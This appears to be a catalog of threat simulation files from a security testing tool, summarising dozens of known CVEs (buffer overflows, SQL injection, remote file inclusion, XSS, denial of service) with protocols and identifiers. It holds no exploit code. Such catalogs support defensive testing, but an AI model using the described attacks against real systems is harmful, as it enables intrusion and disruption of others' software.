Threat File Name:	TSL20130115-17_Oracle_Outside_In_Paradox_Database_Stream_Filter_Denial_of_Service_IPv6.xml
Executive Description:	Oracle Outside In Paradox Database Stream Filter Denial of Service(IPV6 Version)
Detailed Description:	A denial of service vulnerability exists in Oracle Outside In, a set of libraries used to decode many file formats. The vulnerability is due to an error while processing Paradox databases that contain a malicious entry in a field description array. Oracle Outside-In is embedded in many enterprise applications. This vulnerability can be exploited by causing an application that uses the vulnerable library to handle a malformed Paradox database. Depending on the application, user interaction may be required. Successful exploitation can result in a denial of service condition in the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2013-0393
OSVDB:	89193
Threat File Name:	TSL20170616-07_Microsoft_Edge_CAttrArray_Object_PrivateFindInl_Method_Type_Confusion_IPv6.xml
Executive Description:	Microsoft Edge CAttrArray Object PrivateFindInl Method Type Confusion (IPv6 Version)
Detailed Description:	A type confusion vulnerability has been reported in Microsoft Edge. The vulnerability is due to a CAttribute object being confused for a CAttrArray object by the PrivateFindInl method. A remote attacker could exploit this vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP,HTTPS,IPv6
CVEID:	CVE-2017-8496
Threat File Name:	TSL20170419-07_Oracle_Fusion_Middleware_MapViewer_FileUploaderServlet_fileName_Directory_Traversal.xml
Executive Description:	Oracle Fusion Middleware MapViewer FileUploaderServlet fileName Directory Traversal
Detailed Description:	A directory traversal vulnerability has been reported in Oracle Fusion Middleware MapViewer. The vulnerability is due to a lack of proper input sanitization on multipart form-data requests in FileUploaderServlet. A remote attacker can exploit this vulnerability by sending a maliciously crafted HTTP request. Successful exploitation could result in the execution of arbitrary code under the context of the web server user.
Protocol Type:	HTTP
CVEID:	CVE-2017-3230

Threat File Name:	FSC20080721-02_BEA_WebLogic_Server_Apache_Connector_HTTP_Version_String_Buffer_Overflow.xml
Executive Description:	BEA WebLogic Server Apache Connector HTTP Version String Buffer Overflow
Detailed Description:	There exists a string buffer overflow vulnerability in BEA WebLogic Server Apache Connector. The vulnerability is due to a boundary error in the Apache connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would allow the attacker to execute arbitrary code on the vulnerable system with privileges of the running process, normally System.
Protocol Type:	HTTP
CVEID:	CVE-2008-3257
Threat Package:	Standard
Threat File Name:	TSL20150226-15_Samsung_iPOLiS_Device_Manager_WriteConfigValue_Stack_Buffer_Overflow.xml
Executive Description:	Samsung iPOLiS Device Manager WriteConfigValue Stack Buffer Overflow.
Detailed Description:	A stack-based buffer overflow vulnerability exists in Samsung iPOLiS Device Manager. The vulnerability is due to insufficient input validation of a parameter passed to WriteConfigValue() of the XnsSdkDeviceIpInstaller ActiveX control. A remote attacker can exploit this vulnerability by enticing a user to visit a maliciously crafted web page. This can result in code execution in the context of the affected user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0555
OSVDB:	118668
Threat File Name:	TSL20170612-07_Schneider_Electric_U.motion_Builder_css.inc.php_Arbitrary_File_Inclusion.xml
Executive Description:	Schneider Electric U.motion Builder css.inc.php Arbitrary File Inclusion
Detailed Description:	An arbitrary file inclusion vulnerability has been reported in Schneider Electric U.motion Builder. This vulnerability is caused by improper sanitization of directory traversal characters(...) by css.inc.php. A remote, unauthenticated attacker could exploit this vulnerability by sending a malicious request to the server. Successful exploitation results in information disclosure.
Protocol Type:	HTTP
CVEID:	CVE-2017-7974
Threat File Name:	carsportal_sqli_a_IPv6.xml
Executive Description:	Cars Portal index.php Multiple SQL Injection Vulnerabilities (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Edgwall an web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-4055
OSVDB:	21482
Threat File Name:	fuzz-HTTP_Replicate1nHTTPVersion.xml
Executive Description:	Fuzz HTTP-Version with HTTP/11111.1
Detailed Description:	Replicates the number one in the HTTP-Version field by replicating the version number one between 0 and 1024 times.
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	xchat_bof_IPv6.xml
Executive Description:	XChat SOCKS 5 Remote Buffer Overrun Vulnerability (IPv6 Version)
Detailed Description:	This server based threat responds to a SOCKS 5 request by the xchat client, over-running an internal buffer with the returned data. XChat is an IRC client which can connect through a SOCKS 5 proxy which typically listens on port 1080. (IPv6 Version)
Protocol Type:	SOCKS5/IPv6
CVEID:	CVE-2004-0409
OSVDB:	5490
Threat File Name:	FSC20060509-15_Microsoft_Windows_itss_dll_CHM_File_Handling_Heap_Corruption_IPv6.xml
Executive Description:	Microsoft Windows itss.dll CHM File Handling Heap Corruption (IPv6 Version)
Detailed Description:	A vulnerability exists in the Microsoft Windows Infotech Storage Library. The flaw is created due to a lack of verification of a user supplied value, before using it as the size argument in a memory allocation call. Exploitation of this flaw may result in process flow diversion of the vulnerable application. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2297
Threat Package:	Standard
Threat File Name:	FSC20040408-01_Mcafee_FreeScan_Information_Disclosure_IPv6.xml
Executive Description:	Mcafee FreeScan Information Disclosure (IPv6 Version)
Detailed Description:	Two vulnerabilities exist in a component of the McAfee's FreeScan service. An information disclosure vulnerability exists that may allow remote attackers to gain file-system information and can be used to obtain the user-name being used. A second vulnerability allows attackers to cause applications executing VBScript or Javascript to terminate. Only systems that have used McAfee's online virus scanning tool FreeScan are susceptible to attack. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-1908
Threat Package:	Standard
Threat File Name:	FSC20090210-11_Microsoft_Exchange_TNEF_PidTagRtfCompressed_Integer_Underflow.xml
Executive Description:	Microsoft Exchange TNEF PidTagRtfCompressed Integer Underflow
Detailed Description:	There is an Integer Underflow vulnerability exists in the way Microsoft Exchange Server handles email messages. The vulnerability is a result of insufficient boundary checking when decoding the Transport Neutral Encapsulation Format (TNEF) data for a message. An attacker can exploit this vulnerability for code execution by sending a specially crafted email to an account on the target server. Any code injected using this vulnerability would be executed in the System security context. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Note that any code injected will be executed within the security context of the Exchange Server application, normally System. In the case of an unsuccessful code execution attack, or a denial of service attack, the Microsoft Exchange Information Store service will terminate. The affected service must be restarted manually to restore the functionality of the Exchange Server.
Protocol Type:	IMAP/IMAPS/SMTP/SMTPS/MAPI/RPC
CVEID:	CVE-2009-0098

Threat Package:	Standard
Threat File Name:	sybase_bof.xml
Executive Description:	Sybase EAServer Remote Buffer Overflow Vulnerability
Detailed Description:	This threat exploits a stack based buffer overflow in the Sybase HTTP query handler, this flaw can be exploited by making an overly long http query. Sybase is an application server which typically listens on port 8080.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	nimda_IPv6.xml
Executive Description:	Nimda Request URL 1 (IPv6 Version)
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	datadynamics_actrpt2_activex_overwrite.xml
Executive Description:	Data Dynamics ActiveReport ActiveX (actrpt2.dll <= 2.5) Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Data Dynamics ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20111220-02_Microsoft_Windows_win32k_sys_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Windows Object Packager ClickOnce Object Handling Code Execution(IPV6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in the Microsoft Windows kernel file win32k.sys. The public proof of concept triggers the vulnerability through a specially sized iFrame opened with the Safari web browser. A remote, unauthenticated attacker can also be trigger this vulnerability by enticing a user to visit a specially crafted web page with the vulnerable application. Successful exploitation could result in arbitrary code execution with kernel privileges. Note: This vulnerability has been confirmed by Secunia on a fully patched installation of Windows 7 64 bit, other versions may also be vulnerable. Telus Security Labs has been able to reproduce this vulnerability with the published exploit. However, to fully understand the mechanism of the vulnerability, further investigation is required.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-5046
Threat File Name:	TSL20161213-19_Microsoft_Edge_CVE-2016-7206_Information_Disclosure.xml
Executive Description:	Microsoft Edge CVE-2016-7206 Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Microsoft Edge. This vulnerability is due to improper handling of CSS styling for visited links. A remote attacker could exploit this vulnerability by enticing an user to visit a maliciously crafted web-page. Successful exploitation of this vulnerability would reveal a targets browser history potentially disclosing sensitive information.
Protocol Type:	HTTPS, HTTP
CVEID:	CVE-2016-7206
Threat File Name:	FSC20091102-01_Rhino_Software_Serv-U_Web_Client_HTTP_Request_Remote_Buffer_Overflow.xml
Executive Description:	Rhino Software Serv-U Web Client HTTP Request Remote Buffer Overflow
Detailed Description:	A code execution vulnerability exists in Rhino Software Serv-U. The vulnerability is due to a buffer overflow that can occur when Servu-U Web Client handles HTTP requests containing overly large session Cookie values. Remote attackers could exploit this vulnerability by sending a malicious HTTP request to a vulnerable version of the application. Successful exploitation of this vulnerability would result in arbitrary code injection and execution with the privileges of the affected service. If code execution is not successful, the affected application may terminate abnormally.
Protocol Type:	HTTP/HTTPS
Threat Package:	Standard
Threat File Name:	TSL20140411-10_Advantech_WebAccess_SCADA_bwocxrun_ocx_Command_Execution_IPv6.xml
Executive Description:	Advantech WebAccess SCADA bwocxrun.ocx Command Execution(IPv6 Version)
Detailed Description:	A command execution vulnerability exists in Advantech WebAccess SCADA software. This is due to insufficient input validation on the first parameter of the CreateProcess function of the bwocxrun.ocx ActiveX control. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to OS command execution within the security context of the user.
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2014-0773
OSVDB:	105571
Threat File Name:	blogcms_sqli_IPv6.xml
Executive Description:	Blog:CMS Index.PHP SQL Injection Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains SQL code to disclose admin credentials. Blog:CMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	jnlp_injection.xml
Executive Description:	Java JNLP Command Injection
Detailed Description:	This threat injects a command line argument into the javaws process run by the Java plugin. This injection allows a malicious web page to specify a security policy of its own in order to access files typically "sandboxed" by the application. This type of file typically resides on a webserver listening on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0836
OSVDB:	14899
Threat Package:	Standard

Threat File Name:	TSL20150421-17_Novell_ZENworks_Configuration_Management_schedule_ScheduleQuery_SQL_Injection.xml
Executive Description:	Novell ZENworks Configuration Management schedule.ScheduleQuery SQL Injection
Detailed Description:	An SQL injection vulnerability exists in ZENworks Configuration Management. The vulnerability is due to insufficient sanitization of a request parameter in the run method of the ScheduleQuery class before using the parameter in SQL queries.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0782
Threat File Name:	albinator_cmi.xml
Executive Description:	Albinator Multiple Remote File Include Vulnerabilities
Detailed Description:	This threat uses a crafted HTTP GET command with a modified Config_rootdir to include arbitrary code from a local or remote path. Albinator is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-2182
Threat Package:	Standard
Threat File Name:	FSC20090306-05_Mozilla_Firefox_JavaScript_Array.splice_Memory_Corruption.xml
Executive Description:	Mozilla Firefox JavaScript Array.splice Memory Corruption
Detailed Description:	A vulnerability exists in Mozilla Firefox. The vulnerability is due to insufficient validation when executing malicious JavaScript code. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted web page. In a successful attack that arbitrary code being injected and executed on the vulnerable target host, the behaviour of the target system is dependent on the malicious code. Note that any code executed by the attacker runs with the privileges of the logged in user. In an attack where code execution fails, the vulnerable application will terminate abnormally while parsing the malicious document.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-0773
Threat Package:	Standard
Threat File Name:	TSL20130311-06_Corel_WordPerfect_Document_Processing_Buffer_Overflow_IPv6.xml
Executive Description:	Corel WordPerfect Document Processing Buffer Overflow(IPv6 version)
Detailed Description:	A code execution vulnerability has been reported in Corel WordPerfect. The vulnerability is due to an error in wpwin16.exe while processing WordPerfect documents. This can lead to heap memory corruption. An attacker can exploit this vulnerability by enticing a user to download and process a maliciously crafted file with a vulnerable version of the application. This can lead to arbitrary code execution in the context of the affected application.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,POP3,SMB/CIFS,IMAP
CVEID:	CVE-2012-4900
OSVDB:	91041
Threat File Name:	phpldapadmin_injec.xml
Executive Description:	phpldapadmin Remote Command Execution
Detailed Description:	This threat allows an attacker to inject arbitrary commands into the website code. This allows the attacker to execute commands with the privileges of the hosting webserver. phpldapadmin is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2005-2793
OSVDB:	19068
Threat Package:	Standard
Threat File Name:	TSL20121217-01_Wibu-Systems_WibuKey_Runtime_for_Windows_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Wibu-Systems WibuKey Runtime for Windows ActiveX Control Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in Wibu-Systems WibuKey Runtime for Windows. The vulnerability is due to a boundary error within the WkWin32.dll module when processing the "DisplayMessageDialog()" method. A remote attacker can exploit this vulnerability by enticing a target user to view crafted web content. A successful exploitation attempt may result in the execution of arbitrary code in the security context of the target user's browser.
Protocol Type:	HTTP,HTTPS
OSVDB:	87881
Threat File Name:	pslash_rfi.xml
Executive Description:	PSlash lvc_include_dir Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url to a web server, taking advantage of a flaw PSlash application software, thus allowing for commands to be executed on the affected server. PSlash is a web application that typically listens on port 80.
Protocol Type:	HTTP
OSVDB:	28297
Threat Package:	Standard
Threat File Name:	FragmentZeroLength_IPv6.xml
Executive Description:	Zero Length Fragment Attack (IPv6 Version)
Detailed Description:	This threat sends three fragments comprising one IP packet. The second fragment falls inside the boundaries set by the first, and is of zero length. The third fragment represents the ending portion of the packet. This attack can result in older Linux kernels to lose their network connectivity by using up all available routing cache memory. (IPv6 Version)
Protocol Type:	IP/IPv6
Threat Package:	Standard
Threat File Name:	phpbb2_sqli.xml
Executive Description:	PHPBB 3 Memberlist.PHP SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted http POST method that contains an SQL query which is executed by the server. PhpBB3 is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	asteriskvmretrieval.xml
Executive Description:	Asterisk Web Voicemail Retrieval

Detailed Description:	This threat sends out a HTTP request to Asterisk's web voicemail retrieval system, attempting to retrieve another user's voicemail. On some versions of Asterisk, any authenticated user can successfully retrieve another user's voicemail by an educated guess of the URL.
Protocol Type:	HTTP
CVEID:	CVE-2005-3559
OSVDB:	20577
Threat Package:	Standard
Threat File Name:	TSL20120612-20_Microsoft_Internet_Explorer_Row_Insertion_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer Row Insertion Memory Corruption
Detailed Description:	A remote code execution vulnerability exists in Internet Explorer. The vulnerability is due to memory corruption when specific modifications to TABLE elements occur. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open either an HTML document with Internet Explorer, or a Microsoft Office document with an embedded "safe for initialization" ActiveX component that hosts the IE rendering engine. A successful exploitation attempt could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-1880
OSVDB:	82870
Threat File Name:	FSC20071219-27_HP_Software_Update_Tool_ActiveX_Control_File_Overwrite_IPv6.xml
Executive Description:	HP Software Update Tool ActiveX Control File Overwrite (IPv6 Version)
Detailed Description:	An arbitrary file overwrite vulnerability exists in the HP Software Update, shipped with many HP systems. The vulnerability is due to a design weakness in an ActiveX component that is used to download patches and updates for the HP software. A remote attacker may persuade the target user to open a malicious web page to overwrite sensitive files on the local system's file system and potentially corrupt the operating system, and/or execute arbitrary code on the vulnerable system with privileges of logged in user. (IPv6 Version)
Protocol Type:	80/IPv6
CVEID:	CVE-2007-6506
Threat Package:	Standard
Threat File Name:	TSL20121115-02_Novell_NetIQ_Privileged_User_Manager_modifyAccounts_Policy_Bypass.xml
Executive Description:	Novell NetIQ Privileged User Manager modifyAccounts Policy Bypass
Detailed Description:	A policy bypass vulnerability exists in Novell NetIQ Privileged User Manager. The vulnerability is due to an access control weakness when handling a modifyAccounts request. A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious request to a vulnerable server. Successful exploitation could result in code execution under the context of SYSTEM.
Protocol Type:	HTTP,HTTPS
OSVDB:	87335
Threat File Name:	qksmtp_bof_IPv6.xml
Executive Description:	QK SMTP Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat uses a specially crafted "rcpt to" command issued to a vulnerable server to execute arbitrary code. QK SMTP server typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2006-5551
OSVDB:	29991
Threat Package:	Standard
Threat File Name:	sipbroadcastinvite.xml
Executive Description:	SIP Broadcast INVITE
Detailed Description:	This threat sends out a SIP INVITE message instructing responses to be sent to 255.255.255.255.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	TSL20170523-11_IBM_Informix_Dynamic_Server_index.php_testconn_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Informix Dynamic Server index.php testconn Heap Buffer Overflow (IPv6 Version)
Detailed Description:	A heap buffer overflow have been reported in IBM's Informix Dynamic Server and Informix Open Admin Tool. The vulnerability is due an input validation error when processing requests sent to index.php. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation could result in code execution with SYSTEM privileges.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2017-1092
Threat File Name:	solphone.xml
Executive Description:	H323 Malformed Packet
Detailed Description:	This threat crashes Solphone voice over IP equipment.
Protocol Type:	H323
Threat Package:	Standard
Threat File Name:	tcpdump_ldp_IPv6.xml
Executive Description:	tcpdump LDP DOS (IPv6 Version)
Detailed Description:	This threat cause tcpdump to enter into an infinite loop. This particular packet is a UDP packet sent to port 646. This threat can be used in order to mask an attacker's actions. (IPv6 Version)
Protocol Type:	LDP/IPv6
CVEID:	CVE-2005-1279
OSVDB:	15864
Threat Package:	Standard
Threat File Name:	FSC20070717-18_CA_Alert_Notification_Server_RPC_Request_Buffer_Overflow_IPv6.xml
Executive Description:	CA Alert Notification Server RPC Request Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in the way CA Alert Notification Server handles RPC requests. The vulnerability is due to lack of boundary protection while processing RPC calls. A remote attacker may exploit this vulnerability to cause a denial of service condition or inject and execute arbitrary code on the vulnerable system within the security context of the affected service, normally System. (IPv6 Version)

Protocol Type:	SMB/IPv6
Threat Package:	Standard
Threat File Name:	TSL20120214-03_Microsoft_SharePoint_Foundation_inplnview_aspx_Cross-Site_Scripting_IPv6.xml
Executive Description:	Microsoft SharePoint Foundation inplnview.aspx Cross-Site Scripting(IPv6 Version)
Detailed Description:	A cross-site scripting vulnerability has been discovered in Microsoft SharePoint Foundation. The vulnerability is due to insufficient validation of parameters passed to inplnview.aspx and could lead to execution of malicious script code inside the browser of the target user. A remote attacker could exploit this vulnerability by enticing a user to open a specially crafted URL. If the attack is successful, malicious script code will be executed in the browser of the target user, possibly issuing SharePoint Foundation commands as the target user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-0017
OSVDB:	79262
Threat File Name:	FSC20081204-13_Sun_Java_Web_Start_Splashscreen_GIF_Decoding_Buffer_Overflow.xml
Executive Description:	Sun Java Web Start Splashscreen GIF Decoding Buffer Overflow
Detailed Description:	There exists a memory corruption vulnerability in Sun Microsystems' Java Web Start. The flaw is due to a boundary error when displaying a customized splashscreen GIF image. A remote attacker may exploit this vulnerability by enticing the target user to visit a malicious web page. Successful attack may allow for arbitrary code injection and execution with privileges of the target user. In an attack case where code injection is not successful, the Java Web Start application will terminate unexpectedly. In a more sophisticated attack scenario where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. In such a case, the injected code will be executed within the context of the currently logged in user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2008-2086
Threat Package:	Standard
Threat File Name:	edraw_flowchart_activex_overwrite.xml
Executive Description:	EDraw Flowchart ActiveX Control 2.0 Insecure Method Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in EDraw Flowchart ActiveX application, resulting in the overwritingof arbitrary files or code execution. This threat is delived via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-5826
Threat Package:	Standard
Threat File Name:	FSC20040513-01_Norton_DNS_CNAME_Buffer_Overflow.xml
Executive Description:	Norton DNS CNAME Buffer Overflow
Detailed Description:	There is a buffer overflow vulnerability within multiple Symantec client security products. An attacker can craft a DNS packet that will overflow a buffer within the Symantec security products, allowing an attacker to execute arbitrary code on the remote client in the KERNEL level context.
Protocol Type:	DNS
CVEID:	CVE-2004-0444
Threat Package:	Standard
Threat File Name:	FSC20090811-11_Microsoft_Windows_WINS_Service_Integer_Overflow.xml
Executive Description:	Microsoft Windows WINS Service Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Microsoft Windows that can allow remote attackers to execute arbitrary code on the target system. The vulnerability is due to insufficient validation of a certain value in a WINS network packet before using it in an arithmetic operation. This causes an integer overflow and could lead to overflowing a heap based buffer. If code injection and execution is successful, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with the privileges of the WINS service, which is SYSTEM in most cases. If the code is unsuccessful, the affected service will terminate abnormally causing a denial of service condition.
Protocol Type:	WINS Replication Protocol
CVEID:	CVE-2009-1924
Threat Package:	Standard
Threat File Name:	TSL20110614-35_Microsoft_Internet_Explorer_toStaticHTML_Cross-Site_Scripting_IPv6.xml
Executive Description:	Microsoft Internet Explorer toStaticHTML Cross-Site Scripting(IPv6 Version)
Detailed Description:	A cross site scripting vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the toStaticHTML method failing to properly remove dynamic HTML elements from specially crafted HTML fragments. A remote attacker can exploit this flaw by enticing the target to open a malicious URL link. Successful exploitation would result in execution of arbitrary script code in a user's browser session, in the context of the affected site. This could allow confidential user information such as authentication cookies to be disclosed. Note that this vulnerability is currently being exploited in the wild.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-1252
Threat File Name:	flashplayer_swf_rexec.xml
Executive Description:	Adobe Flash Player SWF File Handling Remote Code Execution Vulnerability
Detailed Description:	This threat uses a crafted SWF file to execute arbitrary code via a flaw in Adobe Flash Player 9.0.45.0 and earlier. This threat is uses an emulated web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3456
Threat Package:	Standard
Threat File Name:	FSC20080915-24_LANDesk_Management_Suite_QIP_Service_Heal_Packet_Buffer_Overflow.xml
Executive Description:	LANDesk Management Suite QIP Service Heal Packet Buffer Overflow

Detailed Description:	There exists a memory corruption vulnerability in LANDesk QIP service. The vulnerability is due to insufficient validation when processing specially crafted heal requests. A remote unauthenticated attacker can leverage this vulnerability to inject and execute arbitrary code on the target host with System level privileges. In case of a successful exploitation, the attacker can inject and execute arbitrary code with the privileges of the affected service, normally System. The behaviour of the target will depend on the injected code. In the case of an unsuccessful code execution attack, the service will be terminated due to memory corruption, causing Denial of Service.
Protocol Type:	QIP
CVEID:	CVE-2008-2468
Threat Package:	Standard
Threat File Name:	antvilleXSS_IPv6.xml
Executive Description:	Antville URL XSS injection (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing Javascript pop-up, the script is inserted into the page with no checking. Antville is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3530
OSVDB:	20709
Threat Package:	Standard
Threat File Name:	TSL20160705-01_GNU_wget_HTTP_Redirect_Arbitrary_File_Overwrite_IPv6.xml
Executive Description:	GNU wget HTTP Redirect Arbitrary File Overwrite (IPv6 version)
Detailed Description:	An arbitrary file overwrite vulnerability has been reported in the GNU wget. The vulnerability is due to wget trusting the filename provided by an FTP server when the original request is redirected from an HTTP server. A remote attacker can exploit this vulnerability by enticing a user to request a file over HTTP and sending an HTTP redirect to an FTP location hosting a malicious file intended to overwrite a user file such as .bashrc or .wgetrc. Upon successful exploitation, the commands contained in the downloaded file will be executed.
Protocol Type:	HTTP, IPv6
CVEID:	CVE-2016-4971
Threat File Name:	etomite_rcmd_IPv6.xml
Executive Description:	Etomite CMS Remote Command Execution Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages an arbitrary file inclusion flaw into a remote command execution flaw in the rfiles.php script. Etomite CMS is a web application which typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	27543
Threat Package:	Standard
Threat File Name:	winamp_mp4_dos.xml
Executive Description:	Winamp MP4 File Parsing Buffer Overflow Vulnerability
Detailed Description:	This threat uses a malicious mp4 media file that once played in a vulnerable Winamp client will result in a denial of service condition or execution of arbitrary code. Winamp is a client application that can retrieve mp4 files from a web server listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	phplistpro_cmi_d_IPv6.xml
Executive Description:	phpListPro addsite.php returnpath Variable Remote File Inclusion (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which is used to include an arbitrary php or html file by setting the returnpath global variable to include a remote file. phpListPro is a web based application with typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1749
Threat Package:	Standard
Threat File Name:	TSL20110627-05_Novell_ZENworks_Handheld_Management_Upload_Directory_Traversal_IPv6.xml
Executive Description:	Novell ZENworks Handheld Management Upload Directory Traversal(IPv6 Version)
Detailed Description:	A directory traversal vulnerability exists in Novell ZENworks Handheld Management. The vulnerability occurs during a file upload operation, which can lead to an arbitrary file upload, and later command execution. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted request to a target server. Successful exploitation can result in a full system compromise of a target system. The vendor, Novell, has not released an advisory regarding this vulnerability.
Protocol Type:	IPv6,Novell ZfHSrvr Proprietary
Threat File Name:	TSL20120323-02_Novell_iPrint_Client_ActiveX_GetPrinterURLList2_Invalid_Free_IPv6.xml
Executive Description:	Novell iPrint Client ActiveX GetPrinterURLList2 Invalid Free(IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in Novell's iPrint Client ActiveX control. The vulnerability is due to the use of uninitialized pointers in a call to a free function. A remote, unauthenticated attacker could exploit this vulnerability to execute arbitrary code in the security context of the user. If code execution is unsuccessful, the application may terminate unexpectedly.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-4185
Threat File Name:	FSC20060331-02_Microsoft_Windows_Help_File_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Help File Heap Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Microsoft Windows. The vulnerability is caused by the improper parsing of malformed .hlp file in the Windows Help system. An attacker may exploit this vulnerability by enticing a user to open a crafted Windows help file, which will enable the attacker to inject and execute arbitrary code within the security context of the target user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1591
Threat Package:	Standard
Threat File Name:	bwired_sqli_IPv6.xml
Executive Description:	bwired (index.php newsID) Remote SQL Injection Vulnerability (IPv6 Version)

Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. Bwired a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3976
Threat Package:	Standard
Threat File Name:	ademco_activex_bof.xml
Executive Description:	Ademco ATNBaseLoader100 ActiveX Control Buffer Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Ademco ATNBaseLoader100 ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20111012-06_Microsoft_Publisher_Pubconv_dll_Function_Pointer_Overwrite_IPv6.xml
Executive Description:	Microsoft Publisher Pubconv.dll Function Pointer Overwrite(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Publisher, a component of Microsoft Office, that could allow a remote attacker to execute arbitrary code on the vulnerable system. The vulnerability is due to an error in the "pubconv.dll" library during the handling of Microsoft Publisher files that allows control of a function pointer. Remote attackers could exploit this vulnerability by enticing the target user to insert a malicious Publisher file into another Publisher document. Successful exploitation could result in execution of arbitrary code within the security context of the currently logged in user. An unsuccessful attempt will terminate the affected application abnormally
Protocol Type:	IPV6, HTTP, HTTPS, IMAP, POP3, SMB/CIFS, SMTP, FTP
CVEID:	CVE-2011-4051
Threat File Name:	FSC20080116-10_Cisco_Unified_Communications_Manager_CTL_Provider_Heap_Overflow_IPv6.xml
Executive Description:	Cisco Unified Communications Manager CTL Provider Heap Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Cisco Unified Communications Manager. The flaw is due to a logic error in the Certificate Trust List (CTL) Provider service when processing client requests. A remote unauthenticated attacker can trigger this vulnerability by sending crafted message to the target server. Successful attack could allow for raising a denial of service condition or injecting and executing arbitrary code with the privileges of the affected service. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2008-0027
Threat Package:	Standard
Threat File Name:	TSL20121025-02_Samsung_Kies_Arbitrary_Command_Execution.xml
Executive Description:	Samsung Kies Arbitrary Command Execution
